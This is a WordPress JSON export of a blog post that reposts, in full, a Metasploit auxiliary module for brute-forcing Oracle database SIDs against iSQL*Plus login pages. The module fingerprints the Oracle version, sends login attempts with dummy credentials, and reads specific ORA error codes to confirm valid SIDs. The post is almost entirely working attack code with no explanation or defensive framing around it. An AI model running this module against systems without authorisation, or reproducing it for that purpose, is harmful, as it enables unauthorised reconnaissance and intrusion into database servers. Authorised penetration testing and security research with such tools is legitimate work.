{"id":59331,"date":"2024-09-01T03:00:18","date_gmt":"2024-09-01T00:00:18","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180938\/isqlplus_sidbrute.rb.txt"},"modified":"2024-09-01T03:00:18","modified_gmt":"2024-09-01T00:00:18","slug":"oracle-isqlplus-sid-check","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/oracle-isqlplus-sid-check\/","title":{"rendered":"Oracle ISQLPlus SID Check"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::AuthBrute<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Oracle iSQLPlus SID Check&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module attempts to bruteforce the SID on the Oracle application server iSQL*Plus<br \/>login pages. It does this by testing Oracle error responses returned in the HTTP response.<br \/>Incorrect username\/pass with a correct SID will produce an Oracle ORA-01017 error.<br \/>Works against Oracle 9.2, 10.1 &amp; 10.2 iSQL*Plus. This module will attempt to<br \/>fingerprint the version and automatically select the correct POST request.<br \/>},<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/blog.carnal0wnage.com\/&#8217; ],<br \/>],<br \/>&#8216;Author&#8217; =&gt; [ &#8216;CG&#8217;, &#8216;todb&#8217; ],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<\/p>\n<p>register_options([<br \/>Opt::RPORT(5560),<br \/>OptString.new(&#8216;URI&#8217;, [ true, &#8216;Oracle iSQLPlus path&#8217;, &#8216;\/isqlplus\/&#8217;]),<br \/>OptString.new(&#8216;SID&#8217;, [ false, &#8216;A single SID to test&#8217;]),<br \/>OptPath.new(&#8216;SIDFILE&#8217;, [ false, &#8216;A file containing a list of SIDs&#8217;, File.join(Msf::Config.install_root, &#8216;data&#8217;, &#8216;wordlists&#8217;, &#8216;sid.txt&#8217;)]),<br \/>OptInt.new(&#8216;TIMEOUT&#8217;, [false, &#8216;Time to wait for HTTP responses&#8217;, 30])<br \/>])<\/p>\n<p>deregister_options(<br \/>&#8220;RHOST&#8221;, &#8220;USERNAME&#8221;, &#8220;PASSWORD&#8221;, &#8220;USER_FILE&#8221;, &#8220;PASS_FILE&#8221;, &#8220;USERPASS_FILE&#8221;,<br \/>&#8220;BLANK_PASSWORDS&#8221;, &#8220;USER_AS_PASS&#8221;, &#8220;REMOVE_USER_FILE&#8221;, &#8220;REMOVE_PASS_FILE&#8221;,<br \/>&#8220;BRUTEFORCE_SPEED&#8221; # Slow as heck anyway<br \/>)<\/p>\n<p>end<\/p>\n<p>def sid_file<br \/>datastore[&#8216;SIDFILE&#8217;]end<\/p>\n<p>def hostport<br \/>[target_host,rport].join(&#8220;:&#8221;)<br \/>end<\/p>\n<p>def uri<br \/>datastore[&#8216;URI&#8217;] || &#8220;\/isqlplus\/&#8221;<br \/>end<\/p>\n<p>def timeout<br \/>(datastore[&#8216;TIMEOUT&#8217;] || 30).to_i<br \/>end<\/p>\n<p>def msg<br \/>msg = &#8220;#{hostport} &#8211; Oracle iSQL*Plus -&#8220;<br \/>end<\/p>\n<p>def run_host(ip)<br \/>oracle_ver = get_oracle_version(ip)<br \/>if not check_oracle_version(oracle_ver)<br \/>print_error &#8220;#{msg} Unknown Oracle version, skipping.&#8221;<br \/>return<br \/>end<br \/>begin<br \/>print_status(&#8220;#{msg} Starting SID check&#8221;)<br \/>sid_data.each do |sid|<br \/>guess = check_oracle_sid(ip,oracle_ver,sid)<br \/>return if guess and datastore[&#8216;STOP_ON_SUCCESS&#8217;]end<br \/>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout =&gt; e<br \/>print_error &#8220;#{msg} Cannot connect&#8221;<br \/>rescue ::Timeout::Error, ::Errno::EPIPE,Errno::ECONNRESET =&gt; e<br \/>print_error e.message<br \/>end<br \/>end<\/p>\n<p>def get_oracle_version(ip)<br \/>begin<br \/>res = send_request_cgi({<br \/>&#8216;version&#8217; =&gt; &#8216;1.1&#8217;,<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>}, timeout)<br \/>oracle_ver = nil<br \/>if (res.nil?)<br \/>print_error(&#8220;#{msg} no response&#8221;)<br \/>elsif (res.code == 200)<br \/>print_status(&#8220;#{msg} Received an HTTP #{res.code}&#8221;)<br \/>oracle_ver = detect_oracle_version(res)<br \/>elsif (res.code == 404)<br \/>print_error(&#8220;#{msg} Received an HTTP 404, check URIPATH&#8221;)<br \/>elsif (res.code == 302)<br \/>print_error(&#8220;#{msg} Received an HTTP 302 to #{res.headers[&#8216;Location&#8217;]}&#8221;)<br \/>else<br \/>print_error(&#8220;#{msg} Received an HTTP #{res.code}&#8221;)<br \/>end<br \/>return oracle_ver<br \/>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout =&gt; e<br \/>print_error &#8220;#{msg} Cannot connect&#8221;<br \/>end<br \/>end<\/p>\n<p>def detect_oracle_version(res)<br \/>m = res.body.match(\/iSQL\\*Plus Release (9\\.0|9\\.1|9\\.2|10\\.1|10\\.2)\/)<br \/>oracle_ver = nil<br \/>oracle_ver = 10 if m[1] &amp;&amp; m[1] =~ \/10\/<br \/>oracle_ver = m[1].to_f if m[1] &amp;&amp; m[1] =~ \/9\\.[012]\/<br \/>if oracle_ver<br \/>print_status(&#8220;#{msg} Detected Oracle version #{oracle_ver}&#8221;)<br \/>print_status(&#8220;#{msg} SID detection for iSQL*Plus 10.1 may be unreliable&#8221;) if oracle_ver == 10.1<br \/>else<br \/>print_error(&#8220;#{msg} Unknown Oracle version detected.&#8221;)<br \/>end<br \/>return oracle_ver<br \/>end<\/p>\n<p>def check_oracle_version(ver)<br \/>[9.0,9.1,9.2,10].include? ver<br \/>end<\/p>\n<p>def build_post_request(ver,sid)<br \/>post_request = nil<br \/>case ver<br \/>when 9.0<br \/>post_request = &#8220;action=logon&amp;sqlcmd=&amp;sqlparms=&amp;username=scott&amp;password=tiger&amp;sid=#{sid.strip}&amp;privilege=&amp;Log+In=%B5%C7%C2%BC&#8221;<br \/>when 9.1<br \/>post_request = &#8220;action=logon&amp;username=a&amp;password=a&amp;sid=#{sid.strip}&amp;login=Login&#8221;<br \/>when 9.2<br \/>post_request = &#8220;action=logon&amp;username=a&amp;password=a&amp;sid=#{sid.strip}&amp;login=Login&#8221;<br \/>when 10<br \/>post_request = &#8220;username=a&amp;password=a&amp;connectID=#{sid.strip}&amp;report=&amp;script=&amp;dynamic=&amp;type=&amp;action=&amp;variables=&amp;event=login&#8221;<br \/>end<br \/>return post_request<br \/>end<\/p>\n<p>def parse_isqlplus_response(res,sid)<br \/>guess = false<br \/>if (res.nil?)<br \/>print_error(&#8220;#{msg} No response&#8221;)<br \/>elsif (res.code == 200)<br \/>if (res.body =~ \/ORA-01017:\/ or res.body =~ \/ORA-28273:\/)<br \/>if sid.nil? || sid.empty?<br \/>print_good(&#8220;#{msg} Received ORA-01017 on a blank SID &#8212; SIDs are not enforced upon login.&#8221;)<br \/>else<br \/>print_good(&#8220;#{msg} Received ORA-01017, probable correct SID &#8216;#{sid.strip}'&#8221;)<br \/>end<br \/>guess = true<br \/>elsif (res.body =~ \/(ORA-12170):\/ or res.body =~ \/(ORA-12154):\/ or res.body =~ \/(ORA-12162):\/)<br \/>vprint_status(&#8220;#{msg} Incorrect SID: &#8216;#{sid.strip}&#8217; (got error code #{$1})&#8221;)<br \/>elsif res.body =~ \/(ORA-12541):\/<br \/>print_status(&#8220;#{msg} Possible correct SID, but got ORA-12541: No Listener error.&#8221;)<br \/>guess = true<br \/>else<br \/>print_status(&#8220;#{msg} Received an unknown error&#8221;) # Should say what the error was<br \/>end<br \/>elsif (res.code == 404)<br \/>print_status(&#8220;#{msg} Received an HTTP 404, check URIPATH&#8221;)<br \/>elsif (res.code == 302)<br \/>print_status(&#8220;#{msg} Received an HTTP 302 redirect to #{res.headers[&#8216;Location&#8217;]}&#8221;)<br \/>else<br \/>print_status(&#8220;#{msg} Received an unexpected response: #{res.code}&#8221;)<br \/>end<\/p>\n<p>report_isqlplus_service(target_host,res) if res<br \/>return guess<br \/>end<\/p>\n<p>def report_isqlplus_service(ip,res)<br \/>sname = datastore[&#8216;SSL&#8217;] ? &#8216;https&#8217; : &#8216;http&#8217;<br \/>report_service(<br \/>:host =&gt; ip,<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:port =&gt; rport,<br \/>:name =&gt; sname,<br \/>:info =&gt; res.headers[&#8220;Server&#8221;].to_s.strip<br \/>)<br \/>end<\/p>\n<p>def report_oracle_sid(ip,sid)<br \/>report_note(<br \/>:host =&gt; ip,<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:port =&gt; rport,<br \/>:type =&gt; &#8220;oracle.sid&#8221;,<br \/>:data =&gt; ((sid.nil? || sid.empty?) ? &#8220;*BLANK*&#8221; : sid),<br \/>:update =&gt; :unique_data<br \/>)<br \/>end<\/p>\n<p>def sid_data<br \/>if datastore[&#8216;SID&#8217;] and not datastore[&#8216;SID&#8217;].empty?<br \/>[datastore[&#8216;SID&#8217;]]elsif sid_file and ::File.readable? sid_file<br \/>::File.open(sid_file,&#8221;rb&#8221;) {|f| f.read f.stat.size}.each_line.map {|x| x.strip.upcase}.uniq<br \/>else<br \/>raise ArugmentError, &#8220;Cannot read file &#8216;#{sid_file}'&#8221;<br \/>end<br \/>end<\/p>\n<p>def check_oracle_sid(ip,oracle_ver,sid)<br \/>post_request = build_post_request(oracle_ver,sid)<br \/>vprint_status &#8220;#{msg} Trying SID &#8216;#{sid}&#8217;, waiting for response&#8230;&#8221;<br \/>res = send_request_cgi({<br \/>&#8216;version&#8217; =&gt; &#8216;1.1&#8217;,<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;data&#8217; =&gt; post_request,<br \/>&#8216;headers&#8217; =&gt;<br \/>{<br \/>&#8216;Referer&#8217; =&gt; &#8220;http:\/\/#{ip}:#{rport}#{uri}&#8221;<br \/>}<br \/>}, timeout)<br \/>guess = parse_isqlplus_response(res,sid)<br \/>report_oracle_sid(ip,sid) if guess<br \/>return guess<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::AuthBruteinclude Msf::Auxiliary::Report def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Oracle iSQLPlus SID Check&#8217;,&#8216;Description&#8217; =&gt; %q{This module attempts to bruteforce the SID on the Oracle application server iSQL*Pluslogin pages. It does this by testing Oracle error responses returned in the HTTP response.Incorrect username\/pass with a &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59331","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59331","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59331"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59331\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59331"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59331"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59331"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}